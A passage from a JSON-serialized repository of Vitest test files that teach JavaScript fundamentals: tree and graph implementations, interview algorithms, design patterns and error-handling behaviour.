this.inOrder(node.left, result)\n          result.push(node.value)\n          this.inOrder(node.right, result)\n        }\n        return result\n      }\n    }\n\n    it('should insert values following BST property', () => {\n      const bst = new BinarySearchTree()\n      bst.insert(10)\n      bst.insert(5)\n      bst.insert(15)\n      \n      expect(bst.root.value).toBe(10)\n      expect(bst.root.left.value).toBe(5)\n      expect(bst.root.right.value).toBe(15)\n    })\n\n    it('should search for values', () => {\n      const bst = new BinarySearchTree()\n      bst.insert(10)\n      bst.insert(5)\n      bst.insert(15)\n      bst.insert(3)\n      bst.insert(7)\n      \n      expect(bst.search(7).value).toBe(7)\n      expect(bst.search(15).value).toBe(15)\n      expect(bst.search(100)).toBe(null)\n    })\n\n    it('should return sorted values with in-order traversal', () => {\n      const bst = new BinarySearchTree()\n      bst.insert(10)\n      bst.insert(5)\n      bst.insert(15)\n      bst.insert(3)\n      bst.insert(7)\n      bst.insert(20)\n      \n      expect(bst.inOrder()).toEqual([3, 5, 7, 10, 15, 20])\n    })\n\n    it('should find max depth of tree', () => {\n      function maxDepth(root) {\n        if (!root) return 0\n        \n        const leftDepth = maxDepth(root.left)\n        const rightDepth = maxDepth(root.right)\n        \n        return Math.max(leftDepth, rightDepth) + 1\n      }\n      \n      const bst = new BinarySearchTree()\n      bst.insert(10)\n      bst.insert(5)\n      bst.insert(15)\n      bst.insert(3)\n      \n      expect(maxDepth(bst.root)).toBe(3)\n    })\n\n    it('should handle empty tree operations', () => {\n      const bst = new BinarySearchTree()\n      \n      expect(bst.root).toBe(null)\n      expect(bst.search(10)).toBe(null)\n      expect(bst.inOrder()).toEqual([])\n    })\n\n    it('should handle duplicate values (goes to right subtree)', () => {\n      const bst = new BinarySearchTree()\n      bst.insert(10)\n      bst.insert(10)  // Duplicate\n      bst.insert(10)  // Another duplicate\n      \n      // Duplicates go to the right (based on our implementation: else branch)\n      expect(bst.root.value).toBe(10)\n      expect(bst.root.right.value).toBe(10)\n      expect(bst.root.right.right.value).toBe(10)\n      expect(bst.inOrder()).toEqual([10, 10, 10])\n    })\n  })\n\n  describe('Graph Implementation', () => {\n    class Graph {\n      constructor() {\n        this.adjacencyList = new Map()\n      }\n      \n      addVertex(vertex) {\n        if (!this.adjacencyList.has(vertex)) {\n          this.adjacencyList.set(vertex, [])\n        }\n      }\n      \n      addEdge(v1, v2) {\n        this.adjacencyList.get(v1).push(v2)\n        this.adjacencyList.get(v2).push(v1)\n      }\n      \n      bfs(start) {\n        const visited = new Set()\n        const queue = [start]\n        const result = []\n        \n        while (queue.length) {\n          const vertex = queue.shift()\n          if (visited.has(vertex)) continue\n          \n          visited.add(vertex)\n          result.push(vertex)\n          \n          for (const neighbor of this.adjacencyList.get(vertex)) {\n            if (!visited.has(neighbor)) {\n              queue.push(neighbor)\n            }\n          }\n        }\n        \n        return result\n      }\n      \n      dfs(start, visited = new Set(), result = []) {\n        if (visited.has(start)) return result\n        \n        visited.add(start)\n        result.push(start)\n        \n        for (const neighbor of this.adjacencyList.get(start)) {\n          this.dfs(neighbor, visited, result)\n        }\n        \n        return result\n      }\n    }\n\n    it('should add vertices and edges', () => {\n      const graph = new Graph()\n      graph.addVertex('A')\n      graph.addVertex('B')\n      graph.addVertex('C')\n      graph.addEdge('A', 'B')\n      graph.addEdge('A', 'C')\n      \n      expect(graph.adjacencyList.get('A')).toContain('B')\n      expect(graph.adjacencyList.get('A')).toContain('C')\n      expect(graph.adjacencyList.get('B')).toContain('A')\n    })\n\n    it('should perform breadth-first search', () => {\n      const graph = new Graph()\n      graph.addVertex('A')\n      graph.addVertex('B')\n      graph.addVertex('C')\n      graph.addVertex('D')\n      graph.addEdge('A', 'B')\n      graph.addEdge('A', 'C')\n      graph.addEdge('B', 'D')\n      \n      const result = graph.bfs('A')\n      \n      // BFS visits level by level\n      expect(result[0]).toBe('A')\n      expect(result.includes('B')).toBe(true)\n      expect(result.includes('C')).toBe(true)\n      expect(result.includes('D')).toBe(true)\n    })\n\n    it('should perform depth-first search', () => {\n      const graph = new Graph()\n      graph.addVertex('A')\n      graph.addVertex('B')\n      graph.addVertex('C')\n      graph.addVertex('D')\n      graph.addEdge('A', 'B')\n      graph.addEdge('A', 'C')\n      graph.addEdge('B', 'D')\n      \n      const result = graph.dfs('A')\n      \n      // DFS goes deep before wide\n      expect(result[0]).toBe('A')\n      expect(result.length).toBe(4)\n    })\n  })\n\n  describe('Common Interview Patterns', () => {\n    it('Two Sum - using Map for O(n) lookup', () => {\n      function twoSum(nums, target) {\n        const seen = new Map()\n        \n        for (let i = 0; i < nums.length; i++) {\n          const complement = target - nums[i]\n          \n          if (seen.has(complement)) {\n            return [seen.get(complement), i]\n          }\n          \n          seen.set(nums[i], i)\n        }\n        \n        return []\n      }\n      \n      expect(twoSum([2, 7, 11, 15], 9)).toEqual([0, 1])\n      expect(twoSum([3, 2, 4], 6)).toEqual([1, 2])\n      expect(twoSum([3, 3], 6)).toEqual([0, 1])\n    })\n\n    it('Detect cycle in linked list - Floyd\\'s algorithm', () => {\n      function hasCycle(head) {\n        let slow = head\n        let fast = head\n        \n        while (fast && fast.next) {\n          slow = slow.next\n          fast = fast.next.next\n          \n          if (slow === fast) {\n            return true\n          }\n        }\n        \n        return false\n      }\n      \n      // Create a list with cycle\n      const node1 = { val: 1, next: null }\n      const node2 = { val: 2, next: null }\n      const node3 = { val: 3, next: null }\n      node1.next = node2\n      node2.next = node3\n      node3.next = node1  // Cycle back to node1\n      \n      expect(hasCycle(node1)).toBe(true)\n      \n      // List without cycle\n      const a = { val: 1, next: null }\n      const b = { val: 2, next: null }\n      a.next = b\n      \n      expect(hasCycle(a)).toBe(false)\n    })\n\n    it('Queue using two stacks', () => {\n      class QueueFromStacks {\n        constructor() {\n          this.stack1 = []\n          this.stack2 = []\n        }\n        \n        enqueue(item) {\n          this.stack1.push(item)\n        }\n        \n        dequeue() {\n          if (this.stack2.length === 0) {\n            while (this.stack1.length) {\n              this.stack2.push(this.stack1.pop())\n            }\n          }\n          return this.stack2.pop()\n        }\n      }\n      \n      const queue = new QueueFromStacks()\n      queue.enqueue(1)\n      queue.enqueue(2)\n      queue.enqueue(3)\n      \n      expect(queue.dequeue()).toBe(1)  // FIFO\n      expect(queue.dequeue()).toBe(2)\n      \n      queue.enqueue(4)\n      expect(queue.dequeue()).toBe(3)\n      expect(queue.dequeue()).toBe(4)\n    })\n  })\n\n  describe('Choosing the Right Data Structure', () => {\n    it('should use Array for ordered data with index access', () => {\n      const todos = ['Buy milk', 'Walk dog', 'Write code']\n      \n      // O(1) access by index\n      expect(todos[1]).toBe('Walk dog')\n      \n      // Easy to iterate\n      expect(todos.map(t => t.toUpperCase())).toEqual([\n        'BUY MILK', 'WALK DOG', 'WRITE CODE'\n      ])\n    })\n\n    it('should use Set for unique values and fast lookup', () => {\n      const visited = new Set()\n      \n      // Track unique visitors\n      visited.add('user1')\n      visited.add('user2')\n      visited.add('user1')  // Duplicate ignored\n      \n      expect(visited.size).toBe(2)\n      expect(visited.has('user1')).toBe(true)  // O(1) lookup\n    })\n\n    it('should use Map for non-string keys or frequent updates', () => {\n      // Using objects as keys\n      const cache = new Map()\n      const request1 = { url: '/api/users', method: 'GET' }\n      const request2 = { url: '/api/posts', method: 'GET' }\n      \n      cache.set(request1, { data: ['user1', 'user2'] })\n      cache.set(request2, { data: ['post1', 'post2'] })\n      \n      expect(cache.get(request1).data).toEqual(['user1', 'user2'])\n    })\n\n    it('should use Stack for undo/redo or backtracking', () => {\n      const history = []\n      \n      // Record actions\n      history.push('action1')\n      history.push('action2')\n      history.push('action3')\n      \n      // Undo - pop most recent\n      const undone = history.pop()\n      expect(undone).toBe('action3')\n    })\n\n    it('should use Queue for task scheduling', () => {\n      const taskQueue = []\n      \n      // Add tasks\n      taskQueue.push('task1')\n      taskQueue.push('task2')\n      taskQueue.push('task3')\n      \n      // Process in order\n      expect(taskQueue.shift()).toBe('task1')  // First added\n      expect(taskQueue.shift()).toBe('task2')\n    })\n  })\n})\n"
  },
  {
    "path": "tests/advanced-topics/design-patterns/design-patterns.test.js",
    "content": "import { describe, it, expect, vi, beforeEach } from 'vitest'\n\ndescribe('Design Patterns', () => {\n  describe('Module Pattern', () => {\n    it('should encapsulate private state using closures', () => {\n      // IIFE-based module pattern\n      const Counter = (function () {\n        let count = 0 // Private variable\n\n        return {\n          increment() {\n            count++\n            return count\n          },\n          decrement() {\n            count--\n            return count\n          },\n          getCount() {\n            return count\n          }\n        }\n      })()\n\n      expect(Counter.getCount()).toBe(0)\n      expect(Counter.increment()).toBe(1)\n      expect(Counter.increment()).toBe(2)\n      expect(Counter.decrement()).toBe(1)\n\n      // Private variable is not accessible\n      expect(Counter.count).toBeUndefined()\n    })\n\n    it('should only expose public methods', () => {\n      const Module = (function () {\n        // Private function\n        function privateHelper(value) {\n          return value * 2\n        }\n\n        // Public API\n        return {\n          publicMethod(value) {\n            return privateHelper(value) + 10\n          }\n        }\n      })()\n\n      expect(Module.publicMethod(5)).toBe(20) // (5 * 2) + 10\n      expect(Module.privateHelper).toBeUndefined()\n    })\n  })\n\n  describe('Singleton Pattern', () => {\n    it('should return the same instance when created multiple times', () => {\n      let instance = null\n\n      class Singleton {\n        constructor() {\n          if (instance) {\n            return instance\n          }\n          this.timestamp = Date.now()\n          instance = this\n        }\n      }\n\n      const instance1 = new Singleton()\n      const instance2 = new Singleton()\n\n      expect(instance1).toBe(instance2)\n      expect(instance1.timestamp).toBe(instance2.timestamp)\n    })\n\n    it('should prevent modification with Object.freeze', () => {\n      const Config = {\n        apiUrl: 'https://api.example.com',\n        timeout: 5000\n      }\n\n      Object.freeze(Config)\n\n      // In strict mode (which Vitest uses), this throws an error\n      expect(() => {\n        Config.apiUrl = 'https://evil.com'\n      }).toThrow(TypeError)\n\n      expect(() => {\n        Config.newProperty = 'test'\n      }).toThrow(TypeError)\n\n      // Original values remain unchanged\n      expect(Config.apiUrl).toBe('https://api.example.com')\n      expect(Config.newProperty).toBeUndefined()\n    })\n\n    it('should demonstrate that ES modules behave like singletons', () => {\n      // Simulating ES module behavior\n      const createModule = () => {\n        const cache = new Map()\n\n        return function getModule(name) {\n          if (!cache.has(name)) {\n            cache.set(name, { name, timestamp: Date.now() })\n          }\n          return cache.get(name)\n        }\n      }\n\n      const requireModule = createModule()\n\n      const module1 = requireModule('config')\n      const module2 = requireModule('config')\n\n      expect(module1).toBe(module2)\n    })\n  })\n\n  describe('Factory Pattern', () => {\n    it('should create objects without using the new keyword', () => {\n      function createUser(name, role) {\n        return {\n          name,\n          role,\n          greet() {\n            return `Hi, I'm ${this.name}`\n          }\n        }\n      }\n\n      const user = createUser('Alice', 'admin')\n\n      expect(user.name).toBe('Alice')\n      expect(user.role).toBe('admin')\n      expect(user.greet()).toBe(\"Hi, I'm Alice\")\n    })\n\n    it('should return different object instances', () => {\n      function createProduct(name) {\n        return { name, id: Math.random() }\n      }\n\n      const product1 = createProduct('Widget')\n      const product2 = createProduct('Widget')\n\n      expect(product1).not.toBe(product2)\n      expect(product1.id).not.toBe(product2.id)\n    })\n\n    it('should create different types based on input', () => {\n      function createNotification(type, message) {\n        const base = { message, timestamp: Date.now() }\n\n        switch (type) {\n          case 'error':\n            return { ...base, type: 'error', color: 'red', icon: '❌' }\n          case 'success':\n            return { ...base, type: 'success', color: 'green', icon: '✓' }\n          case 'warning':\n            return { ...base, type: 'warning', color: 'yellow', icon: '⚠' }\n          default:\n            return { ...base, type: 'info', color: 'blue', icon: 'ℹ' }\n        }\n      }\n\n      const error = createNotification('error', 'Failed!')\n      const success = createNotification('success', 'Done!')\n      const info = createNotification('unknown', 'Info')\n\n      expect(error.color).toBe('red')\n      expect(success.color).toBe('green')\n      expect(info.type).toBe('info')\n    })\n  })\n\n  describe('Observer Pattern', () => {\n    let observable\n\n    beforeEach(() => {\n      observable = {\n        observers: [],\n\n        subscribe(fn) {\n          this.observers.push(fn)\n          return () => {\n            this.observers = this.observers.filter((o) => o !== fn)\n          }\n        },\n\n        notify(data) {\n          this.observers.forEach((fn) => fn(data))\n        }\n      }\n    })\n\n    it('should allow subscribing to events', () => {\n      const callback = vi.fn()\n\n      observable.subscribe(callback)\n      observable.notify('test data')\n\n      expect(callback).toHaveBeenCalledWith('test data')\n      expect(callback).toHaveBeenCalledTimes(1)\n    })\n\n    it('should notify all subscribers', () => {\n      const callback1 = vi.fn()\n      const callback2 = vi.fn()\n      const callback3 = vi.fn()\n\n      observable.subscribe(callback1)\n      observable.subscribe(callback2)\n      observable.subscribe(callback3)\n\n      observable.notify('event data')\n\n      expect(callback1).toHaveBeenCalledWith('event data')\n      expect(callback2).toHaveBeenCalledWith('event data')\n      expect(callback3).toHaveBeenCalledWith('event data')\n    })\n\n    it('should allow unsubscribing', () => {\n      const callback = vi.fn()\n\n      const unsubscribe = observable.subscribe(callback)\n\n      observable.notify('first')\n      expect(callback).toHaveBeenCalledTimes(1)\n\n      unsubscribe()\n\n      observable.notify('second')\n      expect(callback).toHaveBeenCalledTimes(1) // Still 1, not called again\n    })\n\n    it('should handle multiple subscriptions and unsubscriptions', () => {\n      const callback1 = vi.fn()\n      const callback2 = vi.fn()\n\n      const unsub1 = observable.subscribe(callback1)\n      observable.subscribe(callback2)\n\n      observable.notify('test')\n      expect(callback1).toHaveBeenCalledTimes(1)\n      expect(callback2).toHaveBeenCalledTimes(1)\n\n      unsub1()\n\n      observable.notify('test2')\n      expect(callback1).toHaveBeenCalledTimes(1) // Not called again\n      expect(callback2).toHaveBeenCalledTimes(2) // Called again\n    })\n  })\n\n  describe('Proxy Pattern', () => {\n    it('should intercept property access (get)', () => {\n      const target = { name: 'Alice', age: 25 }\n      const accessLog = []\n\n      const proxy = new Proxy(target, {\n        get(obj, prop) {\n          accessLog.push(prop)\n          return obj[prop]\n        }\n      })\n\n      expect(proxy.name).toBe('Alice')\n      expect(proxy.age).toBe(25)\n      expect(accessLog).toEqual(['name', 'age'])\n    })\n\n    it('should intercept property assignment (set)', () => {\n      const target = { count: 0 }\n      const setLog = []\n\n      const proxy = new Proxy(target, {\n        set(obj, prop, value) {\n          setLog.push({ prop, value })\n          obj[prop] = value\n          return true\n        }\n      })\n\n      proxy.count = 5\n      proxy.newProp = 'hello'\n\n      expect(target.count).toBe(5)\n      expect(target.newProp).toBe('hello')\n      expect(setLog).toEqual([\n        { prop: 'count', value: 5 },\n        { prop: 'newProp', value: 'hello' }\n      ])\n    })\n\n    it('should validate values on set', () => {\n      const user = { name: 'Alice', age: 25 }\n\n      const validatedUser = new Proxy(user, {\n        set(obj, prop, value) {\n          if (prop === 'age') {\n            if (typeof value !== 'number') {\n              throw new TypeError('Age must be a number')\n            }\n            if (value < 0 || value > 150) {\n              throw new RangeError('Age must be between 0 and 150')\n            }\n          }\n          obj[prop] = value\n          return true\n        }\n      })\n\n      // Valid assignment\n      validatedUser.age = 30\n      expect(validatedUser.age).toBe(30)\n\n      // Invalid assignments\n      expect(() => {\n        validatedUser.age = 'thirty'\n      }).toThrow(TypeError)\n\n      expect(() => {\n        validatedUser.age = -5\n      }).toThrow(RangeError)\n\n      expect(() => {\n        validatedUser.age = 200\n      }).toThrow(RangeError)\n    })\n\n    it('should provide default values for missing properties', () => {\n      const target = { name: 'Alice' }\n\n      const withDefaults = new Proxy(target, {\n        get(obj, prop) {\n          if (prop in obj) {\n            return obj[prop]\n          }\n          return `Default value for ${prop}`\n        }\n      })\n\n      expect(withDefaults.name).toBe('Alice')\n      expect(withDefaults.missing).toBe('Default value for missing')\n    })\n  })\n\n  describe('Decorator Pattern', () => {\n    it('should add new methods to objects', () => {\n      const createBird = (name) => ({\n        name,\n        chirp() {\n          return `${this.name} says chirp!`\n        }\n      })\n\n      const withFlying = (bird) => ({\n        ...bird,\n        fly() {\n          return `${bird.name} is flying!`\n        }\n      })\n\n      const sparrow = withFlying(createBird('Sparrow'))\n\n      expect(sparrow.chirp()).toBe('Sparrow says chirp!')\n      expect(sparrow.fly()).toBe('Sparrow is flying!')\n    })\n\n    it('should preserve original object properties', () => {\n      const original = {\n        name: 'Widget',\n        price: 100,\n        getInfo() {\n          return `${this.name}: $${this.price}`\n        }\n      }\n\n      const withDiscount = (product, discountPercent) => ({\n        ...product,\n        discount: discountPercent,\n        getDiscountedPrice() {\n          return product.price * (1 - discountPercent / 100)\n        }\n      })\n\n      const discounted = withDiscount(original, 20)\n\n      expect(discounted.name).toBe('Widget')\n      expect(discounted.price).toBe(100)\n      expect(discounted.discount).toBe(20)\n      expect(discounted.getDiscountedPrice()).toBe(80)\n    })\n\n    it('should allow composing multiple decorators', () => {\n      const createCharacter = (name) => ({\n        name,\n        abilities: [],\n        describe() {\n          return `${this.name} can: ${this.abilities.join(', ') || 'nothing yet'}`\n        }\n      })\n\n      const withSwimming = (character) => ({\n        ...character,\n        abilities: [...character.abilities, 'swim'],\n        swim() {\n          return `${character.name} swims!`\n        }\n      })\n\n      const withFlying = (character) => ({\n        ...character,\n        abilities: [...character.abilities, 'fly'],\n        fly() {\n          return `${character.name} flies!`\n        }\n      })\n\n      const withFireBreathing = (character) => ({\n        ...character,\n        abilities: [...character.abilities, 'breathe fire'],\n        breatheFire() {\n          return `${character.name} breathes fire!`\n        }\n      })\n\n      // Compose decorators\n      const dragon = withFireBreathing(withFlying(createCharacter('Dragon')))\n\n      expect(dragon.abilities).toEqual(['fly', 'breathe fire'])\n      expect(dragon.fly()).toBe('Dragon flies!')\n      expect(dragon.breatheFire()).toBe('Dragon breathes fire!')\n\n      // Different composition\n      const duck = withSwimming(withFlying(createCharacter('Duck')))\n\n      expect(duck.abilities).toEqual(['fly', 'swim'])\n      expect(duck.fly()).toBe('Duck flies!')\n      expect(duck.swim()).toBe('Duck swims!')\n    })\n\n    it('should work with function decorators', () => {\n      // Logging decorator\n      const withLogging = (fn) => {\n        return function (...args) {\n          const result = fn.apply(this, args)\n          return result\n        }\n      }\n\n      // Timing decorator\n      const withTiming = (fn) => {\n        return function (...args) {\n          const start = Date.now()\n          const result = fn.apply(this, args)\n          const end = Date.now()\n          return { result, duration: end - start }\n        }\n      }\n\n      const add = (a, b) => a + b\n      const timedAdd = withTiming(withLogging(add))\n\n      const output = timedAdd(2, 3)\n\n      expect(output.result).toBe(5)\n      expect(typeof output.duration).toBe('number')\n      expect(output.duration).toBeGreaterThanOrEqual(0)\n    })\n\n    it('should implement memoization decorator', () => {\n      const withMemoization = (fn) => {\n        const cache = new Map()\n\n        return function (...args) {\n          const key = JSON.stringify(args)\n\n          if (cache.has(key)) {\n            return { value: cache.get(key), cached: true }\n          }\n\n          const result = fn.apply(this, args)\n          cache.set(key, result)\n          return { value: result, cached: false }\n        }\n      }\n\n      let callCount = 0\n      const expensiveOperation = (n) => {\n        callCount++\n        return n * n\n      }\n\n      const memoized = withMemoization(expensiveOperation)\n\n      const result1 = memoized(5)\n      expect(result1).toEqual({ value: 25, cached: false })\n      expect(callCount).toBe(1)\n\n      const result2 = memoized(5)\n      expect(result2).toEqual({ value: 25, cached: true })\n      expect(callCount).toBe(1) // Not called again\n\n      const result3 = memoized(10)\n      expect(result3).toEqual({ value: 100, cached: false })\n      expect(callCount).toBe(2) // Called for new argument\n    })\n  })\n\n  describe('Pattern Integration', () => {\n    it('should combine Observer and Singleton for a global event bus', () => {\n      // Singleton event bus using module pattern\n      const EventBus = (function () {\n        const events = new Map()\n\n        return Object.freeze({\n          on(event, callback) {\n            if (!events.has(event)) {\n              events.set(event, [])\n            }\n            events.get(event).push(callback)\n          },\n\n          off(event, callback) {\n            if (events.has(event)) {\n              const callbacks = events.get(event).filter((cb) => cb !== callback)\n              events.set(event, callbacks)\n            }\n          },\n\n          emit(event, data) {\n            if (events.has(event)) {\n              events.get(event).forEach((callback) => callback(data))\n            }\n          }\n        })\n      })()\n\n      const handler1 = vi.fn()\n      const handler2 = vi.fn()\n\n      EventBus.on('user:login', handler1)\n      EventBus.on('user:login', handler2)\n\n      EventBus.emit('user:login', { userId: 123 })\n\n      expect(handler1).toHaveBeenCalledWith({ userId: 123 })\n      expect(handler2).toHaveBeenCalledWith({ userId: 123 })\n\n      EventBus.off('user:login', handler1)\n      EventBus.emit('user:login', { userId: 456 })\n\n      expect(handler1).toHaveBeenCalledTimes(1)\n      expect(handler2).toHaveBeenCalledTimes(2)\n    })\n\n    it('should combine Factory and Decorator patterns', () => {\n      // Factory for creating base enemies\n      const createEnemy = (type) => {\n        const enemies = {\n          goblin: { name: 'Goblin', health: 50, damage: 10 },\n          orc: { name: 'Orc', health: 100, damage: 20 },\n          troll: { name: 'Troll', health: 200, damage: 30 }\n        }\n        return { ...enemies[type] }\n      }\n\n      // Decorators for enemy modifiers\n      const withArmor = (enemy, armor) => ({\n        ...enemy,\n        armor,\n        takeDamage(amount) {\n          return Math.max(0, amount - armor)\n        }\n      })\n\n      const withPoison = (enemy) => ({\n        ...enemy,\n        poisonDamage: 5,\n        attack() {\n          return `${enemy.name} attacks for ${enemy.damage} + ${this.poisonDamage} poison!`\n        }\n      })\n\n      // Create decorated enemies\n      const armoredOrc = withArmor(createEnemy('orc'), 15)\n      const poisonGoblin = withPoison(createEnemy('goblin'))\n      const armoredPoisonTroll = withPoison(withArmor(createEnemy('troll'), 25))\n\n      expect(armoredOrc.armor).toBe(15)\n      expect(armoredOrc.takeDamage(30)).toBe(15)\n\n      expect(poisonGoblin.attack()).toBe('Goblin attacks for 10 + 5 poison!')\n\n      expect(armoredPoisonTroll.armor).toBe(25)\n      expect(armoredPoisonTroll.attack()).toBe('Troll attacks for 30 + 5 poison!')\n    })\n  })\n})\n"
  },
  {
    "path": "tests/advanced-topics/error-handling/error-handling.test.js",
    "content": "import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'\n\ndescribe('Error Handling', () => {\n  \n  // ============================================================\n  // TRY/CATCH/FINALLY BASICS\n  // ============================================================\n  \n  describe('try/catch/finally Basics', () => {\n    it('should catch errors thrown in try block', () => {\n      // From: The try block contains code that might throw an error\n      let caught = false\n      \n      try {\n        throw new Error('Test error')\n      } catch (error) {\n        caught = true\n        expect(error.message).toBe('Test error')\n      }\n      \n      expect(caught).toBe(true)\n    })\n    \n    it('should skip catch block if no error occurs', () => {\n      const order = []\n      \n      try {\n        order.push('try')\n      } catch (error) {\n        order.push('catch')\n      }\n      \n      expect(order).toEqual(['try'])\n    })\n    \n    it('should stop try block execution at the error', () => {\n      // From: If an error occurs, execution immediately jumps to the catch block\n      const order = []\n      \n      try {\n        order.push('before error')\n        throw new Error('stop')\n        order.push('after error')  // Never runs\n      } catch (error) {\n        order.push('catch')\n      }\n      \n      expect(order).toEqual(['before error', 'catch'])\n    })\n    \n    it('should always run finally block - success case', () => {\n      // From: The finally block always runs\n      const order = []\n      \n      try {\n        order.push('try')\n      } catch (error) {\n        order.push('catch')\n      } finally {\n        order.push('finally')\n      }\n      \n      expect(order).toEqual(['try', 'finally'])\n    })\n    \n    it('should always run finally block - error case', () => {\n      const order = []\n      \n      try {\n        order.push('try')\n        throw new Error('test')\n      } catch (error) {\n        order.push('catch')\n      } finally {\n        order.push('finally')\n      }\n      \n      expect(order).toEqual(['try', 'catch', 'finally'])\n    })\n    \n    it('should run finally even with return in try', () => {\n      // From: finally runs even with return\n      const order = []\n      \n      function example() {\n        try {\n          order.push('try')\n          return 'from try'\n        } finally {\n          order.push('finally')\n        }\n      }\n      \n      const result = example()\n      \n      expect(result).toBe('from try')\n      expect(order).toEqual(['try', 'finally'])\n    })\n    \n    it('should run finally even with return in catch', () => {\n      const order = []\n      \n      function example() {\n        try {\n          throw new Error('test')\n        } catch (error) {\n          order.push('catch')\n          return 'from catch'\n        } finally {\n          order.push('finally')\n        }\n      }\n      \n      const result = example()\n      \n      expect(result).toBe('from catch')\n      expect(order).toEqual(['catch', 'finally'])\n    })\n    \n    it('should support optional catch binding (ES2019+)', () => {\n      // From: Optional catch binding\n      let result = 'default'\n      \n      try {\n        JSON.parse('{ invalid json }')\n      } catch {\n        // No error parameter needed\n        result = 'caught'\n      }\n      \n      expect(result).toBe('caught')\n    })\n  })\n  \n  // ============================================================\n  // THE ERROR OBJECT\n  // ============================================================\n  \n  describe('The Error Object', () => {\n    it('should have name, message, and stack properties', () => {\n      // From: Error Properties table\n      try {\n        undefinedVariable\n      } catch (error) {\n        expect(error.name).toBe('ReferenceError')\n        expect(error.message).toContain('undefinedVariable')\n        expect(typeof error.stack).toBe('string')\n        expect(error.stack).toContain('ReferenceError')\n      }\n    })\n    \n    it('should convert error to string as \"name: message\"', () => {\n      const error = new Error('Something went wrong')\n      \n      expect(String(error)).toBe('Error: Something went wrong')\n    })\n    \n    it('should support error cause (ES2022+)', () => {\n      // From: Error chaining with cause\n      const originalError = new Error('Original error')\n      const wrappedError = new Error('Wrapped error', { cause: originalError })\n      \n      expect(wrappedError.message).toBe('Wrapped error')\n      expect(wrappedError.cause).toBe(originalError)\n      expect(wrappedError.cause.message).toBe('Original error')\n    })\n  })\n  \n  // ============================================================\n  // BUILT-IN ERROR TYPES\n  // ============================================================\n  \n  describe('Built-in Error Types', () => {\n    it('should throw TypeError for wrong type operations', () => {\n      // From: TypeError - calling method on null\n      expect(() => {\n        const obj = null\n        obj.method()\n      }).toThrow(TypeError)\n      \n      // Calling non-function\n      expect(() => {\n        const notAFunction = 42\n        notAFunction()\n      }).toThrow(TypeError)\n    })\n    \n    it('should throw ReferenceError for undefined variables', () => {\n      // From: ReferenceError - using undefined variable\n      expect(() => {\n        undefinedVariableName\n      }).toThrow(ReferenceError)\n    })\n    \n    it('should throw SyntaxError for invalid JSON', () => {\n      // From: SyntaxError - invalid JSON\n      expect(() => {\n        JSON.parse('{ name: \"John\" }')  // Missing quotes around key\n      }).toThrow(SyntaxError)\n      \n      expect(() => {\n        JSON.parse('')  // Empty string\n      }).toThrow(SyntaxError)\n    })\n    \n    it('should throw RangeError for out-of-range values', () => {\n      // From: RangeError - value out of range\n      expect(() => {\n        new Array(-1)\n      }).toThrow(RangeError)\n      \n      expect(() => {\n        (1.5).toFixed(200)  // Max is 100\n      }).toThrow(RangeError)\n      \n      // From: 'x'.repeat(Infinity) example\n      expect(() => {\n        'x'.repeat(Infinity)\n      }).toThrow(RangeError)\n    })\n    \n    it('should use optional chaining to avoid TypeError', () => {\n      // From: Fix for TypeError - Check if values exist before using them\n      const user = null\n      \n      // Without optional chaining - throws TypeError\n      expect(() => {\n        user.name\n      }).toThrow(TypeError)\n      \n      // With optional chaining - returns undefined (no error)\n      expect(user?.name).toBeUndefined()\n    })\n    \n    it('should throw URIError for bad URI encoding', () => {\n      // From: URIError - bad URI encoding\n      expect(() => {\n        decodeURIComponent('%')\n      }).toThrow(URIError)\n    })\n    \n    it('should throw AggregateError when all promises reject', async () => {\n      // From: AggregateError - Promise.any() all reject\n      await expect(\n        Promise.any([\n          Promise.reject(new Error('Error 1')),\n          Promise.reject(new Error('Error 2')),\n          Promise.reject(new Error('Error 3'))\n        ])\n      ).rejects.toThrow(AggregateError)\n      \n      try {\n        await Promise.any([\n          Promise.reject(new Error('Error 1')),\n          Promise.reject(new Error('Error 2'))\n        ])\n      } catch (error) {\n        expect(error.name).toBe('AggregateError')\n        expect(error.errors).toHaveLength(2)\n      }\n    })\n  })\n  \n  // ============================================================\n  // THE THROW STATEMENT\n  // ============================================================\n  \n  describe('The throw Statement', () => {\n    it('should throw and catch custom errors', () => {\n      // From: The throw statement lets you create your own errors\n      function divide(a, b) {\n        if (b === 0) {\n          throw new Error('Cannot divide by zero')\n        }\n        return a / b\n      }\n      \n      expect(divide(10, 2)).toBe(5)\n      expect(() => divide(10, 0)).toThrow('Cannot divide by zero')\n    })\n    \n    it('should demonstrate throwing non-Error types (bad practice)', () => {\n      // From: Always Throw Error Objects - BAD examples\n      // These all work but lack stack traces for debugging\n      \n      // Throwing a string - no stack trace\n      try {\n        throw 'Something went wrong'\n      } catch (error) {\n        expect(typeof error).toBe('string')\n        expect(error).toBe('Something went wrong')\n        expect(error.stack).toBeUndefined()\n      }\n      \n      // Throwing a number - no stack trace\n      try {\n        throw 404\n      } catch (error) {\n        expect(typeof error).toBe('number')\n        expect(error).toBe(404)\n        expect(error.stack).toBeUndefined()\n      }\n      \n      // Throwing an object - no stack trace\n      try {\n        throw { message: 'Error' }\n      } catch (error) {\n        expect(typeof error).toBe('object')\n        expect(error.message).toBe('Error')\n        expect(error.stack).toBeUndefined()\n      }\n    })\n    \n    it('should throw errors with proper type', () => {\n      // From: Always throw Error objects\n      function validateAge(age) {\n        if (typeof age !== 'number') {\n          throw new TypeError(`Expected number but got ${typeof age}`)\n        }\n        if (age < 0 || age > 150) {\n          throw new RangeError(`Age must be between 0 and 150, got ${age}`)\n        }\n        return true\n      }\n      \n      expect(validateAge(25)).toBe(true)\n      expect(() => validateAge('25')).toThrow(TypeError)\n      expect(() => validateAge(-5)).toThrow(RangeError)\n    })\n    \n    it('should include stack trace when throwing Error objects', () => {\n      try {\n        throw new Error('Test')\n      } catch (error) {\n        expect(error.stack).toBeDefined()\n        expect(error.stack).toContain('Error: Test')\n      }\n    })\n    \n    it('should create meaningful error messages with context', () => {\n      // From: Creating Meaningful Error Messages\n      \n      // Specific error message with details\n      const email = 'invalid-email'\n      const emailError = new Error(`Email address is invalid: missing @ symbol`)\n      expect(emailError.message).toBe('Email address is invalid: missing @ symbol')\n      \n      // TypeError with actual type in message\n      const value = 42\n      const typeError = new TypeError(`Expected string but got ${typeof value}`)\n      expect(typeError.message).toBe('Expected string but got number')\n      expect(typeError.name).toBe('TypeError')\n      \n      // RangeError with actual value in message\n      const age = 200\n      const rangeError = new RangeError(`Age must be between 0 and 150, got ${age}`)\n      expect(rangeError.message).toBe('Age must be between 0 and 150, got 200')\n      expect(rangeError.name).toBe('RangeError')\n    })\n  })\n  